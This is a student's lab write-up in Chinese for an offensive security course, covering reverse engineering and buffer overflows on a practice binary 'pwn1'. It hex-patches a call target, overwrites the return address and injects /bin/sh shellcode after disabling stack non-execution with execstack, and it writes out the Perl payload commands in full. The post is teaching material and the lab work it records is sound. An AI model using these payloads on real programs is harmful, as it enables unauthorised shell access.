• 20145212罗天晨 逆向及Bof基础实践


    20145212罗天晨《网络对抗》第1周学习总结——逆向及Bof基础实践

    逆向及Bof基础实践


    一、实践目标

    • 1.运行原本不可访问的代码片段
    • 2.强行修改程序执行流
    • 3.以及注入运行任意代码。

    二、基础知识及实践准备

    • 1.理解EIP寄存器及其功能
    (1)IP是指令寄存器,存放当前指令的下一条指令的地址。
    (2)CPU该执行哪条指令就是通过IP来指示的。
    (3)EIP是32位机的指令寄存器。
    
    • 2.理解汇编语言中call指令的功能
      具体可参考此博客
      汇编语言call和ret指令的具体执行

    • 3.关于缓冲区溢出攻击
      缓冲区溢出攻击这个名词想必大家都不陌生,但是具体的应用大多数人却是第一次做,在此找到了一篇博客,可以加深对于缓冲区溢出的理解
      缓冲区溢出攻击

    简单来说,call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP。
    调用call指令时, 把call指令的下一个指令放入堆栈, 调用ret时, 用堆栈保存的地址返回。
    

    三、实验步骤

    方法一:通过手工修改可执行文件,改变程序执行流程,使得call函数的跳转不是foo函数而是直接跳转到getShell函数。

    • 1.将下载好的pwn1文件进行试运行和反汇编:

      可以看出,pwn1是个实现了对输入的内容进行回显的可执行文件

    • 2.查看反汇编代码

      可以看出,这里的call函数使程序跳转到了foo函数

      通过计算,可以得知"getShell-80484ba"对应的补码就行是c3ffffff。

    • 3.修改可执行文件,将call指令的目标地址由d7ffffff变为c3ffffff(可以在vim中使用"%!xxd"转换成16进制进行编辑,也可安装使用wxhexeditor进行编辑)

    • 4.再次查看反汇编代码

      可以看出,这里的call函数使程序跳转到了getshell函数

    • 5.运行修改过后的文件


    方法二:通过缓冲区溢出漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    • 1.使用gdb确认输入字符串哪几个字符会覆盖到返回地址

      可以看出,寄存器eip的值换算成ASCⅡ码是1234。即字符串111111112222222233333333444444441234567中,1234四个数的位置就是堆栈上的返回地址的位置。

    • 2.覆盖返回地址的值
      getShell的内存地址,在未启用ALSR的主机上是固定不变的,通过反汇编时可以看到,即0804847d

    • 3.构造输入字符串
      因为我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以可以使用perl脚本语言生成一个包括这样的字符串的文件
      然后将input的输入,通过管道符“|”,作为pwn1的输入
      可以使用16进制查看指令xxd查看input文件的内容是否如预期。

      可以看出,缓冲区溢出攻击成功。


    四、注入shellcode实验

    一、准备一段shellcode

    二、设置环境

    • Bof攻击防御技术
      1.从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
      2.GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)
      3.此时就需要手动设置环境,具体在终端中输入如下:
    apt-cache search execstack
    apt-get install execstack
    execstack --help
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    

    三、构造要注入的payload

    • 1.Linux下有两种基本构造攻击buf的方法:
    //缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
    1.retaddr+nop+shellcode
    2.nop+shellcode+retaddr
    
    • 2.在终端中输入如下:
      perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
      上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
      特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。

    • 3.打开一个新的终端窗口注入这段攻击buf,具体输入如下:
      (cat input_shellcode;cat) | ./pwn1

    • 4.从图中可以看出此时不知道该覆盖的地址是什么,当然是不成功的。这就意味着需要在另一个终端通过gdb调试确定返回地址。(具体如何在终端中运行不再赘述)

      断在了ret的位置,也就是说,ret之后就跳到我们覆盖的retaddr那个地方了
      此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

    • 5.通过如下方式寻找需要输入的地址:

      //看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd61c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd620

    • 6.回到另一个终端,将input_shellcode修改如下:
      perl -e 'print "A" x 32;print "x20xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

      成功了!!!

  • 相关阅读:
    最近发现一个网站
    2017-0206 委托封装的方法的参数类型
    迈向Angular 2
    趣学CCNA 路由与交换
    HCNA 2017年01月26日
    在linux中使用phpize安装php扩展模块
    接口和抽象类
    C:Program Files (x86)MSBuildMicrosoft.Cppv4.0V110Microsoft.CppCommon.targets(611,5): error MSB
    抽象类和抽象方法
    java数组与内存控制
  • 原文地址:https://www.cnblogs.com/alovera/p/6473050.html
Copyright © 2020-2023  润新知